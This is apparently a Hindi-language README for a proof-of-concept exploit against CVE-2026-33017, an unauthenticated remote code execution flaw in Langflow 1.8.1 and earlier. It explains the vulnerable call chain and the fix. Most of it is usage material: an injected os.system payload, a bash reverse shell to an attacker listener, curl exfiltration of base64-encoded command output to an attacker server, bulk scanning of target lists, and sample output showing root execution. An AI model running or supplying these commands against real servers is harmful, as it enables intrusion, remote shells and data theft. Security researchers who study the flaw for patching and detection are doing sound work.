
CVE-2026-33017 - Langflow <= 1.8.1 में Public Flow Build Endpoint के माध्यम से एक अनधिकृत रिमोट कोड निष्पादन
केवल शैक्षिक और अधिकृत परीक्षण प्रयोजनों के लिए।
Langflow <= 1.8.1 एक सार्वजनिक फ्लो निर्माण एंडपॉइंट उजागर करता है जो हमलावर-नियंत्रित फ्लो डेटा स्वीकार करता है जिसमें मनमाना कोड होता है। यह कोड validate.py में prepare_global_scope() को भेजा जाता है, जो बिना सैंडबॉक्सिंग के exec() को कॉल करता है, जिसके परिणामस्वरूप सर्वर प्रक्रिया विशेषाधिकारों के साथ बिना प्रमाणीकरण के रिमोट कोड निष्पादन होता है।
| पैकेज | प्रभावित | पैच किया गया |
|---|---|---|
pip langflow | <= 1.8.1 | 1.9.0 |
build_public_tmp एंडपॉइंट जानबूझकर बिना प्रमाणीकरण के है — इसे किसी भी व्यक्ति को संग्रहीत सार्वजनिक फ्लो निष्पादित करने की अनुमति देने के लिए डिज़ाइन किया गया है। दोष यह है कि यह वैकल्पिक data पैरामीटर भी स्वीकार करता है जिसमें हमलावर-नियंत्रित फ्लो परिभाषाएँ होती हैं। इसलिए, बिना प्रमाणीकरण वाला उपयोगकर्ता मनमाना नोड कोड सबमिट कर सकता है, जिसे सर्वर वैध फ्लो ग्राफ़ के रूप में मानता है और बिना सत्यापन के सीधे कोड निष्पादन रूटीन में भेज देता है।
समाधान सीधा है: data पैरामीटर हटा दें और एंडपॉइंट को केवल build_graph_from_db() कॉल करने के लिए बाध्य करें, ताकि सार्वजनिक फ्लो केवल संग्रहीत डेटा निष्पादित करें, कभी भी हमलावर-आपूर्ति कोड नहीं।
हमलावर का पेलोड निष्पादन तक पहुँचने से पहले निम्नलिखित कॉल श्रृंखला से गुजरता है:
validate.py में prepare_global_scope() ग्राफ़ संकलन के दौरान ast.Assign नोड्स को प्रोसेस करता है — किसी भी फ्लो विधि को लागू करने से पहले। इसलिए, इंजेक्टेड कोड में एक टॉप-लेवल असाइनमेंट तुरंत निष्पादित हो जाता है:
_r = __import__('os').system("whoami") # runs at compile time, not at flow run time
आउटपुट HTTP प्रतिक्रिया के बजाय सर्वर के stdout पर जाता है। एक्सफ़िलट्रेशन के लिए बाहरी कॉलबैक (रिवर्स शेल, curl वेबहुक) की आवश्यकता होती है।
| Endpoint | Authentication | Attack Vector |
|---|---|---|
POST /api/v1/build_public_tmp/{flow_id}/flow | कोई नहीं | रिमोट, बिना प्रमाणीकरण |
| Scenario | Requirement |
|---|---|
| A — AUTO_LOGIN सक्षम | AUTO_LOGIN=true: गुमनाम रूप से JWT टोकन प्राप्त करें, PUBLIC फ्लो बनाएँ, शोषण करें |
| B — ज्ञात सार्वजनिक फ्लो | एक साझा/सार्वजनिक फ्लो UUID ज्ञात है: सीधे शोषण करें, किसी प्रमाणीकरण की आवश्यकता नहीं |
pip install requests
python3 poc.py --url http://target:7860 --cmd "id"
महत्वपूर्ण: PoC मॉड्यूल स्तर पर
os.system()का उपयोग करता है — कमांड सर्वर पर चलता है, लेकिन इसका आउटपुट HTTP प्रतिक्रिया के बजाय सर्वर के stdout पर जाता है। PoC केवल यह पुष्टि करता है कि निष्पादन हुआ ([+] VULNERABLE). वास्तव में कमांड आउटपुट प्राप्त करने के लिए, नीचे दिए गए एक्सफ़िलट्रेशन विधियों में से एक का उपयोग करें।
ब्लाइंड पुष्टि (आउटपुट कैप्चर किए बिना RCE सत्यापित करता है)
python3 poc.py --url http://target:7860 --cmd "id"
रिवर्स शेल — स्थानीय लिसनर के साथ
# 1. Start a listener on your machine
nc -lvnp 4444
# 2. Send the reverse shell
python3 poc.py --url http://target:7860 --cmd "bash -c 'bash -i >& /dev/tcp/10.10.14.1/4444 0>&1'"
HTTP कॉलबैक के माध्यम से OOB एक्सफ़िलट्रेशन — स्थानीय सर्वर के साथ
# 1. Start a local HTTP server
python3 -m http.server 8080
# 2. Exfiltrate output via curl callback
python3 poc.py --url http://target:7860 --cmd "curl http://10.10.14.1:8080/\$(id | base64 -w0)"
ज्ञात सार्वजनिक फ्लो UUID के साथ (फ्लो निर्माण की आवश्यकता नहीं)
python3 poc.py --url http://target:7860 --cmd "id" --flow-id <flow-uuid>
फ़ाइल से बल्क स्कैन
python3 poc.py --url-file targets.txt --cmd "id" --threads 10
PoC पुष्टि करता है कि निष्पादन हुआ। [+] VULNERABLE का अर्थ है कि बिल्ड सफल रहा और इंजेक्टेड कोड चला — इसका यह अर्थ नहीं है कि आउटपुट कैप्चर किया गया।
============================================================
CVE-2026-33017 — Langflow RCE PoC
============================================================
Targets : 1
Command : curl http://10.10.14.1:8080/$(id | base64 -w0)
Threads : 5 | Timeout : 15s
============================================================
[http://target:7860] auth: JWT token obtained
[http://target:7860] flow: created (3f2a1b4c-...)
[http://target:7860] [+] VULNERABLE — RCE executed
[http://target:7860] flow: deleted (3f2a1b4c-...)
============================================================
SUMMARY
============================================================
[+] http://target:7860 VULNERABLE
============================================================
1/1 target(s) vulnerable
स्थानीय HTTP सर्वर पर प्राप्त आउटपुट:
10.10.14.1 - - "GET /dWlkPTAocm9vdCkgZ2lkPTAocm9vdCkgZ3JvdXBzPTAocm9vdCk= HTTP/1.1" 200 -
# base64 -d → uid=0(root) gid=0(root) groups=0(root)
/api/v1/validate/code पर समान exec() समस्या| चरण | फ़ाइल | विवरण |
|---|
| 1 | chat.py:580 | build_public_tmp अनुरोध बॉडी में हमलावर डेटा प्राप्त करता है |
| 2 | build.py:81 | start_flow_build() अविश्वसनीय पेलोड को आगे भेजता है |
| 3 | build.py:298 | build_graph_from_data() इसे ग्राफ़ निर्माण को सौंपता है |
| 4 | base.py:1168 | Graph.from_payload() हमलावर-आपूर्ति नोड परिभाषाओं को डिसीरियलाइज़ करता है |
| 5 | base.py:1323 | प्रत्येक नोड के लिए instantiate_component() कॉल किया जाता है |
| 6 | loading.py:43 | code फ़ील्ड को कस्टम कंपोनेंट पैरामीटर्स से निकाला जाता है |
| 7 | eval.py:9 | create_class() कच्चा हमलावर कोड प्राप्त करता है |
| 8 | validate.py:397 | exec(compiled_code, exec_globals) — कोई सैंडबॉक्सिंग नहीं |
| फ़्लैग | डिफ़ॉल्ट | विवरण |
|---|
--url | — | एकल लक्ष्य Langflow URL |
--url-file | — | टेक्स्ट फ़ाइल जिसमें प्रति पंक्ति एक URL हो (बल्क स्कैन) |
--cmd | id | लक्ष्य पर निष्पादित करने के लिए OS कमांड |
--flow-id | — | मौजूदा सार्वजनिक फ्लो का UUID (फ्लो निर्माण छोड़ देता है) |
--threads | 5 | बल्क मोड के लिए समानांतर थ्रेड्स की संख्या |
--timeout | 15 | HTTP अनुरोध टाइमआउट सेकंड में |
--no-cleanup | false | शोषण के बाद बनाए गए फ्लो को रखें |